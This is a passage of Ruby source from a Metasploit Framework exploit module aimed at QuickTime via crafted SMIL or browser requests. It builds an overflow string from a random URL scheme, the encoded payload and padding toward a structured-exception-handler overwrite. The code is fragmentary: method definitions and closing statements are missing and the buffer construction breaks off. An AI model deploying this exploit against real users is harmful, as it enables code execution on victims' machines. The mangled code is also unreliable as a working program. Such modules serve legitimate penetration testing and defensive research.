##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking # needs more testing/targets to be Great
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Seh
return if ((p = regenerate_payload(client)) == nil)
if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.smil$/)
print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")
print_status("Trying target #{target.name}...")
# This is all basically filler on the browser target because we can't
# expect the SEH to be in a reliable place across multiple browsers.
# Heap spray ftw.
off = 716
start = "cHTTPDhlr_SetURL - url doesn't start with http:// or http1:// '"
scheme = rand_text_alphanumeric(5)
sploit = ''
sploit << scheme
sploit << "://"
# payload
sploit << p.encoded
# pad to SEH
sploit << rand_text_english(off - sploit.length - start.length)